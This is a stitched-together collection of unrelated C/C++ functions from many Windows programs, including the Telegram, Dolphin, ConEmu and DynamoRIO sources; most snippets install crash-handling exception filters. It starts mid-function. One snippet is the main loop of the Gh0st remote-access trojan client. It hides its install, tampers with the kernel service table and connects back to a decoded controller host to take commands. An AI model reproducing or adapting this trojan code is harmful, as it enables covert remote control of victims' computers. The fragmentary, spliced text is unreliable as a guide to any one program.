*/ buf[j*7 + 3] = j | 0x8; } else buf[j*7 + 3] = j; /* nearly every single modrm byte */ # else buf[j*7 + 3] = j; /* every single modrm byte */ # endif if (mod == 1) { buf[j*7 + 4] = 0x03; /* disp */ buf[j*7 + 5] = 0xc3; } else if (mod == 2 || (mod == 0 && rm == 6)) { buf[j*7 + 4] = 0x03; /* disp */ buf[j*7 + 5] = 0x00; /* disp */ } else { buf[j*7 + 4] = 0xc3; /* ret */ buf[j*7 + 5] = 0xc3; } buf[j*7 + 6] = 0xc3; } buf[256*7] = 0xcc; print_access_vio = false; for (j=0; j<256; j++) { i = SIGSETJMP(mark); if (i == 0) test_modrm16(&buf[j*7]); else continue; } print("Done with modrm test: tested %d\n", j); count = 0; print_access_vio = true; #endif /* !X64 */ /* multi-byte nop tests (case 9862) */ i = SIGSETJMP(mark); if (i == 0) { print("Testing nops\n"); test_nops(); print("Done with nops\n"); } /* SSE3 and 3DNow instrs will not run on all processors so we can't have this * regression test fully test everything: for now its main use is running * manually on the proper machines, or manually verifying decoding of these, * but we'll leave as a suite/ regression test. */ /* SSE3 tests: mostly w/ modrm of (%edx) */ i = SIGSETJMP(mark); if (i == 0) { print("Testing SSE3\n"); test_sse3(buf); print("Should not get here\n"); } /* 3D-Now tests: mostly w/ modrm of (%ebx) */ i = SIGSETJMP(mark); if (i == 0) { print("Testing 3D-Now\n"); test_3dnow(buf); print("Should not get here\n"); } /* case 6962: far call/jmp tests * Note that DR currently gets the target address wrong for all of these * since we skip the segment and only care about the address: * not going to fix that anytime soon. */ print("Testing far call/jmp\n"); test_far_cti(); #ifdef WINDOWS /* FIXME i#105: crashing on Linux so disabling for now */ /* PR 242815: data16 mbr */ print("Testing data16 mbr\n"); test_data16_mbr(); #endif /* i#1024: rip-rel ind branch */ print("Testing rip-rel ind branch\n"); func_ptr = actual_call_target; test_rip_rel_ind(); #ifdef LINUX free(sigstack.ss_sp); #endif print("All done\n"); #ifdef USE_DYNAMO dynamorio_app_stop(); dynamorio_app_exit(); #endif return 0; }
void TerminateCrashHandler() { SetUnhandledExceptionFilter(nullptr); }
BOOL WINAPI DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { BOOL lbAllow = TRUE; switch(ul_reason_for_call) { case DLL_PROCESS_ATTACH: { gnDllState = ds_DllProcessAttach; #ifdef _DEBUG HANDLE hProcHeap = GetProcessHeap(); #endif HeapInitialize(); ghOurModule = (HMODULE)hModule; ghConWnd = GetConsoleWindow(); if (ghConWnd) GetConsoleTitle(gsInitConTitle, countof(gsInitConTitle)); gnSelfPID = GetCurrentProcessId(); ghWorkingModule = (u64)hModule; gfGetRealConsoleWindow = GetConsoleWindow; user = (UserImp*)calloc(1, sizeof(*user)); GetMainThreadId(); // Инициализировать gnHookMainThreadId gcchLastWriteConsoleMax = 4096; gpszLastWriteConsole = (wchar_t*)calloc(gcchLastWriteConsoleMax,sizeof(*gpszLastWriteConsole)); gInQueue.Initialize(512, NULL); #ifdef _DEBUG gAllowAssertThread = am_Pipe; #endif #ifdef _DEBUG #ifdef UseDebugExceptionFilter gfnPrevFilter = SetUnhandledExceptionFilter(HkExceptionFilter); #endif #endif #ifdef SHOW_STARTED_MSGBOX if (!IsDebuggerPresent()) { ::MessageBox(ghConEmuWnd, L"ConEmuHk*.dll loaded", L"ConEmu hooks", MB_SYSTEMMODAL); } #endif #ifdef _DEBUG DWORD dwConMode = -1; GetConsoleMode(GetStdHandle(STD_INPUT_HANDLE), &dwConMode); #endif //_ASSERTE(ghHeap == NULL); //ghHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS, 200000, 0); wchar_t szEvtName[64]; msprintf(szEvtName, countof(szEvtName), CECONEMUROOTPROCESS, gnSelfPID); HANDLE hRootProcessFlag = OpenEvent(SYNCHRONIZE|EVENT_MODIFY_STATE, FALSE, szEvtName); DWORD nWaitRoot = -1; if (hRootProcessFlag) { nWaitRoot = WaitForSingleObject(hRootProcessFlag, 0); gbSelfIsRootConsoleProcess = (nWaitRoot == WAIT_OBJECT_0); } SafeCloseHandle(hRootProcessFlag); #ifdef HOOK_USE_DLLTHREAD _ASSERTEX(FALSE && "Hooks starting in background thread?"); //HANDLE hEvents[2]; //hEvents[0] = CreateEvent(NULL, FALSE, FALSE, NULL); //hEvents[1] = ghStartThread = CreateThread(NULL, 0, DllStart, NULL/*(LPVOID)(hEvents[0])*/, 0, &gnStartThreadID); if (ghStartThread == NULL) { //_ASSERTE(ghStartThread!=NULL); wchar_t szMsg[128]; DWORD nErrCode = GetLastError(); msprintf(szMsg, countof(szMsg), L"Failed to start DllStart thread!\nErrCode=0x%08X\nPID=%u", nErrCode, GetCurrentProcessId()); GuiMessageBox(ghConEmuWnd, szMsg, L"ConEmu hooks", 0); } else { DWORD nThreadWait = WaitForSingleObject(ghStartThread, 5000); DllThreadClose(); } //DWORD nThreadWait = WaitForMultipleObjects(hEvents, countof(hEvents), FALSE, INFINITE); //CloseHandle(hEvents[0]); #else DllStart(NULL); #endif user->setAllowLoadLibrary(); } break; case DLL_THREAD_ATTACH: { gnDllThreadCount++; if (gbHooksWasSet) InitHooksRegThread(); } break; case DLL_THREAD_DETACH: { #ifdef SHOW_SHUTDOWN_STEPS gnDbgPresent = 0; ShutdownStep(L"DLL_THREAD_DETACH"); #endif if (gbHooksWasSet) DoneHooksRegThread(); // DLL_PROCESS_DETACH зовется как выяснилось не всегда if (gnHookMainThreadId && (GetCurrentThreadId() == gnHookMainThreadId) && !gbDllDeinitialized) { gbDllDeinitialized = true; //WARNING!!! OutputDebugString must NOT be used from ConEmuHk::DllMain(DLL_PROCESS_DETACH). See Issue 465 DllStop(); } gnDllThreadCount--; ShutdownStep(L"DLL_THREAD_DETACH done, left=%i", gnDllThreadCount); } break; case DLL_PROCESS_DETACH: { ShutdownStep(L"DLL_PROCESS_DETACH"); gnDllState = ds_DllProcessDetach; if (gbHooksWasSet) lbAllow = FALSE; // Иначе свалимся, т.к. FreeLibrary перехвачена // Уже могли дернуть в DLL_THREAD_DETACH if (!gbDllDeinitialized) { gbDllDeinitialized = true; //WARNING!!! OutputDebugString must NOT be used from ConEmuHk::DllMain(DLL_PROCESS_DETACH). See Issue 465 DllStop(); } // -- free не нужен, т.к. уже вызван HeapDeinitialize() //free(user); ShutdownStep(L"DLL_PROCESS_DETACH done"); } break; } return lbAllow; }
void win32_seh_init() { mono_old_win_toplevel_exception_filter = SetUnhandledExceptionFilter(seh_handler); }
int WINAPI _tWinMain(HINSTANCE hInstance, HINSTANCE /*hPrevInstance*/, LPTSTR lpstrCmdLine, int nCmdShow) { g_RunningUnderWine = running_under_wine(); #ifdef PPA_INCLUDE_CHECK_UPDATE if (_tcsstr(lpstrCmdLine, _T(PEERS_OPTION_NO_UPDATE)) == NULL) { string updatePath = Text::fromT(AutoUpdate::getUpdateTargetPath()); //TODO нужно еще exists(wstring), чтобы строку не преобразовывать if (File::exists(updatePath) && File::getSize(updatePath) > 0) { if (AutoUpdate::execute()) { return AutoUpdate::EXIT_TO_UPDATE; } } } //TODO else вывести сообщение если архив обновления еще есть. #endif #ifndef _DEBUG SingleInstance dcapp(_T("{DOMODC-AEE8350A-B49A-4753-AB4B-E55479A48351}")); #else SingleInstance dcapp(_T("{DOMODC-AEE8350A-B49A-4753-AB4B-E55479A48350}")); #endif // !SMT!-UI displaying abort message will disable generating exceptioninfo.txt signal(SIGABRT, AbortSignalHandler); #ifndef SMT_CUSTOM _set_abort_behavior(0, _WRITE_ABORT_MSG); #endif bool multipleInstances = false; bool magnet = false; bool delay = false; #ifdef _DEBUG g_DisableSplash = true; #endif if(_tcsstr(lpstrCmdLine, _T("/nologo"))!=NULL || _tcsstr(lpstrCmdLine, _T("/startup"))!=NULL) { g_DisableSplash = true; nCmdShow = SW_SHOWMINIMIZED; } if(_tcsstr(lpstrCmdLine, _T("/wine"))!=NULL) g_RunningUnderWine = true; if(_tcsstr(lpstrCmdLine, _T("/q"))!=NULL) multipleInstances = true; if(_tcsstr(lpstrCmdLine, _T("/magnet"))!=NULL) magnet = true; if(_tcsstr(lpstrCmdLine, _T("/c")) != NULL) { multipleInstances = true; delay = true; } if(dcapp.IsAnotherInstanceRunning()) { // Allow for more than one instance... bool multiple = false; if (multipleInstances == false && magnet == false) { if (::MessageBox(NULL, _T(APPNAME) _T(" уже запущена, или еще не закончила операцию закрытия...\nВы уверены, что хотите загрузить еще одну копию программы?"), _T(APPNAME) _T(" ") _T(VERSIONSTRING), MB_YESNO | MB_ICONQUESTION | MB_DEFBUTTON2 | MB_TOPMOST) == IDYES) { multiple = true; } } else { multiple = true; } if(delay == true) { Thread::sleep(2500); // let's put this one out for a break } if(multiple == false || magnet == true) { HWND hOther = NULL; EnumWindows(searchOtherInstance, (LPARAM)&hOther); if (hOther != NULL) { // pop up ::SetForegroundWindow(hOther); //if (IsIconic(hOther)) { // ::ShowWindow(hOther, SW_RESTORE); // !SMT!-f - disable, it unlocks password-protected instance //} sendCmdLine(hOther, lpstrCmdLine); } return FALSE; } } srand((unsigned) time(NULL)); // For SHBrowseForFolder, UPnP HRESULT hRes = ::CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); // before next function call Util::initialize(); #ifdef _DEBUG InitSymInfo(Text::toT(Util::getDataPath()).c_str()); #endif LPTOP_LEVEL_EXCEPTION_FILTER pOldSEHFilter = NULL; pOldSEHFilter = SetUnhandledExceptionFilter(&DCUnhandledExceptionFilter); WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); AtlInitCommonControls(ICC_COOL_CLASSES | ICC_BAR_CLASSES | ICC_LISTVIEW_CLASSES | ICC_TREEVIEW_CLASSES | ICC_PROGRESS_CLASS | ICC_STANDARD_CLASSES | ICC_TAB_CLASSES | ICC_UPDOWN_CLASS | ICC_USEREX_CLASSES); // add flags to support other controls hRes = _Module.Init(NULL, hInstance); ATLASSERT(SUCCEEDED(hRes)); /* !PPA! try { File f(WinUtil::getAppName(), File::READ, File::OPEN); TigerTree tth(TigerTree::calcBlockSize(f.getSize(), 1)); size_t n = 0; size_t n2 = DEBUG_BUFSIZE; while( (n = f.read(buf, n2)) > 0) { tth.update(buf, n); n2 = DEBUG_BUFSIZE; } tth.finalize(); strcpy(::tth, tth.getRoot().toBase32().c_str()); WinUtil::tth = Text::toT(::tth); } catch(const FileException&) { dcdebug("Failed reading exe\n"); } */ HINSTANCE hInstRich = ::LoadLibrary(_T("RICHED20.DLL")); int nRet = Run(lpstrCmdLine, nCmdShow); if ( hInstRich ) { ::FreeLibrary(hInstRich); } // Return back old VS SEH handler if (pOldSEHFilter != NULL) { SetUnhandledExceptionFilter(pOldSEHFilter); } _Module.Term(); ::CoUninitialize(); ::WSACleanup(); #ifdef _DEBUG UninitSymInfo(); #endif return nRet; }
int main(int argc, char *argv[]) { #ifdef Q_OS_WIN _oldWndExceptionFilter = SetUnhandledExceptionFilter(_exceptionFilter); // CAPIHook apiHook("kernel32.dll", "SetUnhandledExceptionFilter", (PROC)RedirectedSetUnhandledExceptionFilter); #endif settingsParseArgs(argc, argv); for (int32 i = 0; i < argc; ++i) { if (string("-fixprevious") == argv[i]) { return psFixPrevious(); } else if (string("-cleanup") == argv[i]) { return psCleanup(); } } if (!logsInit()) { return 0; } installSignalHandlers(); Global::Initializer _init; Local::readSettings(); if (Local::oldSettingsVersion() < AppVersion) { psNewVersion(); } if (cFromAutoStart() && !cAutoStart()) { psAutoStart(false, true); Local::stop(); return 0; } DEBUG_LOG(("Application Info: Telegram started, test mode: %1, exe dir: %2").arg(logBool(cTestMode())).arg(cExeDir())); if (cDebug()) { LOG(("Application Info: Telegram started in debug mode")); for (int32 i = 0; i < argc; ++i) { LOG(("Argument: %1").arg(fromUtf8Safe(argv[i]))); } QStringList logs = psInitLogs(); for (int32 i = 0, l = logs.size(); i < l; ++i) { LOG(("Init Log: %1").arg(logs.at(i))); } } psClearInitLogs(); DEBUG_LOG(("Application Info: ideal thread count: %1, using %2 connections per session").arg(QThread::idealThreadCount()).arg(cConnectionsInSession())); psStart(); int result = 0; { QByteArray args[] = { "-style=0" }; // prepare fake args static const int a_cnt = sizeof(args) / sizeof(args[0]); int a_argc = a_cnt + 1; char *a_argv[a_cnt + 1] = { argv[0], args[0].data() }; Application app(a_argc, a_argv); if (!App::quiting()) { result = app.exec(); } } psFinish(); Local::stop(); DEBUG_LOG(("Application Info: Telegram done, result: %1").arg(result)); #ifndef TDESKTOP_DISABLE_AUTOUPDATE if (cRestartingUpdate()) { if (!cBetaVersion() && DevVersion) { LOG(("Writing 'devversion' file before launching the Updater!")); QFile f(cWorkingDir() + qsl("tdata/devversion")); if (!f.exists() && f.open(QIODevice::WriteOnly)) { f.write("1"); f.close(); } } DEBUG_LOG(("Application Info: executing updater to install update..")); psExecUpdater(); } else #endif if (cRestarting()) { DEBUG_LOG(("Application Info: executing Telegram, because of restart..")); psExecTelegram(); } logsClose(); return result; }
#include <stdlib.h> #pragma hdrstop #pragma warning(disable:4074) // Don't complain about the following line #pragma init_seg(compiler) // Set this up as part of the basic CRT init // // Establish our filter, saving the old one. // void _cdecl __CxxRestoreUnhandledExceptionFilter(void); static LPTOP_LEVEL_EXCEPTION_FILTER pOldExceptFilter = (atexit(&__CxxRestoreUnhandledExceptionFilter), SetUnhandledExceptionFilter(&__CxxUnhandledExceptionFilter)); ///////////////////////////////////////////////////////////////////////////// // // __CxxUnhandledExceptionFilter - if the exception is ours, call terminate(); // // Returns: // If the exception was MSVC C++ EH, does not return. // If the previous filter was NULL, returns EXCEPTION_CONTINUE_SEARCH. // Otherwise returns value returned by previous filter. // LONG WINAPI __CxxUnhandledExceptionFilter( LPEXCEPTION_POINTERS pPtrs ) { if (PER_IS_MSVC_EH((EHExceptionRecord*)(pPtrs->ExceptionRecord))) {
void win32_seh_cleanup() { if (mono_old_win_toplevel_exception_filter) SetUnhandledExceptionFilter(mono_old_win_toplevel_exception_filter); RemoveVectoredExceptionHandler (mono_win_vectored_exception_handle); }
void _cdecl __CxxRestoreUnhandledExceptionFilter(void) { SetUnhandledExceptionFilter(pOldExceptFilter); }
bool DolphinApp::OnInit() { Bind(wxEVT_QUERY_END_SESSION, &DolphinApp::OnEndSession, this); Bind(wxEVT_END_SESSION, &DolphinApp::OnEndSession, this); // Declarations and definitions bool UseDebugger = false; bool UseLogger = false; bool selectVideoBackend = false; bool selectAudioEmulation = false; bool selectPerfDir = false; wxString videoBackendName; wxString audioEmulationName; wxString userPath; wxString perfDir; #if wxUSE_CMDLINE_PARSER // Parse command lines wxCmdLineEntryDesc cmdLineDesc[] = { { wxCMD_LINE_SWITCH, "h", "help", "Show this help message", wxCMD_LINE_VAL_NONE, wxCMD_LINE_OPTION_HELP }, { wxCMD_LINE_SWITCH, "d", "debugger", "Opens the debugger", wxCMD_LINE_VAL_NONE, wxCMD_LINE_PARAM_OPTIONAL }, { wxCMD_LINE_SWITCH, "l", "logger", "Opens the logger", wxCMD_LINE_VAL_NONE, wxCMD_LINE_PARAM_OPTIONAL }, { wxCMD_LINE_OPTION, "e", "exec", "Loads the specified file (ELF, DOL, GCM, ISO, WBFS, CISO, GCZ, WAD)", wxCMD_LINE_VAL_STRING, wxCMD_LINE_PARAM_OPTIONAL }, { wxCMD_LINE_SWITCH, "b", "batch", "Exit Dolphin with emulator", wxCMD_LINE_VAL_NONE, wxCMD_LINE_PARAM_OPTIONAL }, { wxCMD_LINE_OPTION, "V", "video_backend", "Specify a video backend", wxCMD_LINE_VAL_STRING, wxCMD_LINE_PARAM_OPTIONAL }, { wxCMD_LINE_OPTION, "A", "audio_emulation", "Low level (LLE) or high level (HLE) audio", wxCMD_LINE_VAL_STRING, wxCMD_LINE_PARAM_OPTIONAL }, { wxCMD_LINE_OPTION, "m", "movie", "Play a movie file", wxCMD_LINE_VAL_STRING, wxCMD_LINE_PARAM_OPTIONAL }, { wxCMD_LINE_OPTION, "U", "user", "User folder path", wxCMD_LINE_VAL_STRING, wxCMD_LINE_PARAM_OPTIONAL }, { wxCMD_LINE_OPTION, "P", "perf_dir", "Directory for Linux perf perf-$pid.map file", wxCMD_LINE_VAL_STRING, wxCMD_LINE_PARAM_OPTIONAL }, { wxCMD_LINE_NONE, nullptr, nullptr, nullptr, wxCMD_LINE_VAL_NONE, 0 } }; // Gets the command line parameters wxCmdLineParser parser(cmdLineDesc, argc, argv); LoadFile = false; if (argc == 2 && File::Exists(argv[1].ToUTF8().data())) { LoadFile = true; FileToLoad = argv[1]; } else if (parser.Parse() != 0) { return false; } UseDebugger = parser.Found("debugger"); UseLogger = parser.Found("logger"); if (!LoadFile) LoadFile = parser.Found("exec", &FileToLoad); BatchMode = parser.Found("batch"); selectVideoBackend = parser.Found("video_backend", &videoBackendName); selectAudioEmulation = parser.Found("audio_emulation", &audioEmulationName); selectPerfDir = parser.Found("perf_dir", &perfDir); playMovie = parser.Found("movie", &movieFile); parser.Found("user", &userPath); #endif // wxUSE_CMDLINE_PARSER // Register message box and translation handlers RegisterMsgAlertHandler(&wxMsgAlert); RegisterStringTranslator(&wxStringTranslator); // "ExtendedTrace" looks freakin' dangerous!!! #ifdef _WIN32 EXTENDEDTRACEINITIALIZE("."); SetUnhandledExceptionFilter(&MyUnhandledExceptionFilter); #elif wxUSE_ON_FATAL_EXCEPTION wxHandleFatalExceptions(true); #endif UICommon::SetUserDirectory(userPath.ToStdString()); UICommon::CreateDirectories(); InitLanguageSupport(); // The language setting is loaded from the user directory UICommon::Init(); if (selectPerfDir) { SConfig::GetInstance().m_LocalCoreStartupParameter.m_perfDir = WxStrToStr(perfDir); } if (selectVideoBackend && videoBackendName != wxEmptyString) SConfig::GetInstance().m_LocalCoreStartupParameter.m_strVideoBackend = WxStrToStr(videoBackendName); if (selectAudioEmulation) { if (audioEmulationName == "HLE") SConfig::GetInstance().m_LocalCoreStartupParameter.bDSPHLE = true; else if (audioEmulationName == "LLE") SConfig::GetInstance().m_LocalCoreStartupParameter.bDSPHLE = false; } VideoBackend::ActivateBackend(SConfig::GetInstance().m_LocalCoreStartupParameter.m_strVideoBackend); // Enable the PNG image handler for screenshots wxImage::AddHandler(new wxPNGHandler); int x = SConfig::GetInstance().m_LocalCoreStartupParameter.iPosX; int y = SConfig::GetInstance().m_LocalCoreStartupParameter.iPosY; int w = SConfig::GetInstance().m_LocalCoreStartupParameter.iWidth; int h = SConfig::GetInstance().m_LocalCoreStartupParameter.iHeight; if (File::Exists("www.dolphin-emulator.com.txt")) { File::Delete("www.dolphin-emulator.com.txt"); wxMessageDialog dlg(nullptr, _( "This version of Dolphin was downloaded from a website stealing money from developers of the emulator. Please " "download Dolphin from the official website instead: https://dolphin-emu.org/"), _("Unofficial version detected"), wxOK | wxICON_WARNING); dlg.ShowModal(); wxLaunchDefaultBrowser("https://dolphin-emu.org/?ref=badver"); exit(0); } // The following is not needed with X11, where window managers // do not allow windows to be created off the desktop. #ifdef _WIN32 // Out of desktop check int leftPos = GetSystemMetrics(SM_XVIRTUALSCREEN); int topPos = GetSystemMetrics(SM_YVIRTUALSCREEN); int width = GetSystemMetrics(SM_CXVIRTUALSCREEN); int height = GetSystemMetrics(SM_CYVIRTUALSCREEN); if ((leftPos + width) < (x + w) || leftPos > x || (topPos + height) < (y + h) || topPos > y) x = y = wxDefaultCoord; #elif defined __APPLE__ if (y < 1) y = wxDefaultCoord; #endif main_frame = new CFrame(nullptr, wxID_ANY, StrToWxStr(scm_rev_str), wxPoint(x, y), wxSize(w, h), UseDebugger, BatchMode, UseLogger); SetTopWindow(main_frame); main_frame->SetMinSize(wxSize(400, 300)); AfterInit(); return true; }
DWORD WINAPI main(char *lpServiceName) #endif { #ifdef _CONSOLE if (argc < 3) { printf("Usage:\n %s <Host> <Port>\n", argv[0]); return -1; } #endif // lpServiceName,在ServiceMain返回后就没有了 char strServiceName[256]; char strKillEvent[50]; HANDLE hInstallMutex = NULL; #ifdef _DLL char *lpURL = (char *)FindConfigString(CKeyboardManager::g_hInstance, "AAAAAA"); if (lpURL == NULL) { return -1; } ////////////////////////////////////////////////////////////////////////// // Set Window Station HWINSTA hOldStation = GetProcessWindowStation(); HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED); if (hWinSta != NULL) SetProcessWindowStation(hWinSta); // ////////////////////////////////////////////////////////////////////////// if (CKeyboardManager::g_hInstance != NULL) { SetUnhandledExceptionFilter(bad_exception); ResetSSDT(); lstrcpy(strServiceName, lpServiceName); wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名 hInstallMutex = CreateMutex(NULL, true, lpURL); ReConfigService(strServiceName); // 删除安装文件 DeleteInstallFile(lpServiceName); } // http://hi.baidu.com/zxhouse/blog/item/dc651c90fc7a398fa977a484.html #endif // 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人 SetErrorMode( SEM_FAILCRITICALERRORS); char *lpszHost = NULL; DWORD dwPort = 80; char *lpszProxyHost = NULL; DWORD dwProxyPort = 0; char *lpszProxyUser = NULL; char *lpszProxyPass = NULL; HANDLE hEvent = NULL; CClientSocket socketClient; BYTE bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接 while (1) { // 如果不是心跳超时,不用再sleep两分钟 if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR) { // 2分钟断线重连, 为了尽快响应killevent for (int i = 0; i < 2000; i++) { hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; break; } // 改一下 Sleep(60); } } #ifdef _DLL // 上线间隔为2分, 前6个'A'是标志 if (!getLoginInfo(MyDecode(lpURL + 6), &lpszHost, &dwPort, &lpszProxyHost, &dwProxyPort, &lpszProxyUser, &lpszProxyPass)) { bBreakError = GETLOGINFO_ERROR; continue; } #else lpszHost = argv[1]; dwPort = atoi(argv[2]); #endif if (lpszProxyHost != NULL) socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass); else socketClient.setGlobalProxyOption(); DWORD dwTickCount = GetTickCount(); if (!socketClient.Connect(lpszHost, dwPort)) { bBreakError = CONNECT_ERROR; continue; } // 登录 DWORD dwExitCode = SOCKET_ERROR; sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount); CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort); socketClient.setManagerCallBack(&manager); ////////////////////////////////////////////////////////////////////////// // 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误 for (int i = 0; (i < 10 && !manager.IsActived()); i++) { Sleep(1000); } // 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接 if (!manager.IsActived()) continue; ////////////////////////////////////////////////////////////////////////// DWORD dwIOCPEvent; dwTickCount = GetTickCount(); do { hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100); Sleep(500); } while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; } } #ifdef _DLL ////////////////////////////////////////////////////////////////////////// // Restor WindowStation and Desktop // 不需要恢复卓面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏 // SetProcessWindowStation(hOldStation); // CloseWindowStation(hWinSta); // ////////////////////////////////////////////////////////////////////////// #endif SetErrorMode(0); ReleaseMutex(hInstallMutex); CloseHandle(hInstallMutex); }
int KSGProcess::run(int argc,char ** argv) { KSG_SERVICE::instance()->name(ACE_TEXT("ykt_gateway"), ACE_TEXT("ykt_gateway")); parse_args(argc,argv); if(_opt_install && !_opt_remove) { KSGService * svr = KSG_SERVICE::instance(); if(-1 == svr->insert(SERVICE_DEMAND_START)) { ACE_OS::printf("install NT Service error[%d]!\n",ACE_OS::last_error()); return -1; } return 0; } if(_opt_remove && !_opt_install) { if(-1 == KSG_SERVICE::instance()->remove()) { ACE_OS::printf("remove from Service Manager error![%d]\n",ACE_OS::last_error()); return -1; } return 0; } if(_opt_start && _opt_kill) print_usage(); if(_opt_start) { ACE_OS::printf("正在启动前置机...\n"); g_top_level_exception = SetUnhandledExceptionFilter(KSG_UnhandledExceptionFilter); if(-1 == KSG_SERVICE::instance()->start_svc()) { ACE_OS::printf("start service error![%d]\n",ACE_OS::last_error()); return -1; } return 0; } if(_opt_kill) { ACE_OS::printf("正在停止前置机...\n"); if(-1 == KSG_SERVICE::instance()->stop_svc()) { ACE_OS::printf("stop service error![%d]\n",ACE_OS::last_error()); return -1; } return 0; } if(_opt_debug) { // 直接启动 SetConsoleCtrlHandler (&ConsoleHandler, 1); g_top_level_exception = SetUnhandledExceptionFilter(KSG_UnhandledExceptionFilter); int ret = KSG_SERVICE::instance()->svc(); //system("pause"); return ret; } else { /*std::ofstream *output_file = new std::ofstream("ntsvc.log", std::ios::out); if (output_file && output_file->rdstate() == std::ios::goodbit) ACE_LOG_MSG->msg_ostream(output_file, 1); ACE_LOG_MSG->open(argv[0], ACE_Log_Msg::STDERR | ACE_Log_Msg::OSTREAM, 0); ACE_DEBUG ((LM_DEBUG, ACE_TEXT ("%T (%t): Starting service.\n")));*/ ACE_NT_SERVICE_RUN (ykt_gateway,KSG_SERVICE::instance (), ret); if(ret == 0) { ACE_OS::printf("Couldn't start service!\n"); } else { ACE_OS::printf("Service exits [%d]!\n",ACE_OS::last_error()); } return 0; } return 0; }
void Except_hook_signal() { #ifdef _WIN32 SetUnhandledExceptionFilter(win_exception_handler); #endif }
static int _capture_stack_trace_helper( void** trace, unsigned int max_depth, unsigned int skip_frames, CONTEXT* context ) { STACKFRAME64 stack_frame; HANDLE process_handle; HANDLE thread_handle; unsigned long last_error; bool succeeded = true; unsigned int current_depth = 0; unsigned int machine_type = IMAGE_FILE_MACHINE_I386; CONTEXT context_copy = *context; #if FOUNDATION_COMPILER_GCC LPTOP_LEVEL_EXCEPTION_FILTER prev_filter = SetUnhandledExceptionFilter( _stacktrace_exception_filter ); #else __try #endif { process_handle = GetCurrentProcess(); thread_handle = GetCurrentThread(); memset( &stack_frame, 0, sizeof( stack_frame ) ); stack_frame.AddrPC.Mode = AddrModeFlat; stack_frame.AddrStack.Mode = AddrModeFlat; stack_frame.AddrFrame.Mode = AddrModeFlat; #if FOUNDATION_PLATFORM_ARCH_X86_64 stack_frame.AddrPC.Offset = context->Rip; stack_frame.AddrStack.Offset = context->Rsp; stack_frame.AddrFrame.Offset = context->Rbp; machine_type = IMAGE_FILE_MACHINE_AMD64; #else stack_frame.AddrPC.Offset = context->Eip; stack_frame.AddrStack.Offset = context->Esp; stack_frame.AddrFrame.Offset = context->Ebp; #endif while( succeeded && ( current_depth < max_depth ) ) { succeeded = CallStackWalk64( machine_type, process_handle, thread_handle, &stack_frame, &context_copy, 0, CallSymFunctionTableAccess64, CallSymGetModuleBase64, 0 ); if( !succeeded ) last_error = GetLastError(); else if( !stack_frame.AddrFrame.Offset || !stack_frame.AddrPC.Offset ) break; else if( skip_frames ) --skip_frames; else trace[current_depth++] = (void*)((uintptr_t)stack_frame.AddrPC.Offset); } } #if FOUNDATION_COMPILER_GCC SetUnhandledExceptionFilter( prev_filter ); #else __except ( EXCEPTION_EXECUTE_HANDLER ) { // We need to catch any exceptions within this function so they don't get sent to // the engine's error handler, hence causing an infinite loop. return EXCEPTION_EXECUTE_HANDLER; } #endif memset( trace + current_depth, 0, sizeof( void* ) * ( max_depth - current_depth ) ); return EXCEPTION_EXECUTE_HANDLER; }
void InitCrashHandler() { SetUnhandledExceptionFilter(StackTraceCrashHandler); }
void setWindowsUnhandledExceptionFilter() { filtLast = SetUnhandledExceptionFilter(exceptionFilter); }
int main(int argc, char* argv[]) { #if !defined(_DEBUG) && defined(_WIN32) SetUnhandledExceptionFilter(CreateMiniDump); #endif // The second argument on the command line should be the zone name. //OnlyInstallUnhandeldExceptionFilter(); // Part of stackwalker char zone[50]; if(argc < 2) { printf("A list of Zones can be found in ZoneList.txt\n"); printf("Enter zone: "); int n = scanf("%s", zone); if (n != 1) std::exit(-1); // Remove the // if it cause problems, This enables you to just type // inn the zone insted of navigate using comand prompt. //std::exit(-1); } else { sprintf(zone,"%s",argv[1]); } int8 logfileName[64], configfileName[64]; sprintf(logfileName, "%s.log", zone); sprintf(configfileName, "%s.cfg", zone); LogManager::Init(G_LEVEL_NORMAL,logfileName,LEVEL_NORMAL,true,true); ConfigManager::Init(configfileName); // Start things up gZoneServer = new ZoneServer((int8*)(gConfig->read<std::string>("ZoneName")).c_str()); // Main loop while(1) { if(AdminManager::Instance()->shutdownZone()) { break; } else if (Anh_Utils::kbhit()) { if(std::cin.get() == 'q') { break; } } gZoneServer->Process(); gMessageFactory->Process(); //Garbage Collection boost::this_thread::sleep(boost::posix_time::milliseconds(1)); } // Shut things down delete gZoneServer; gZoneServer = NULL; return 0; }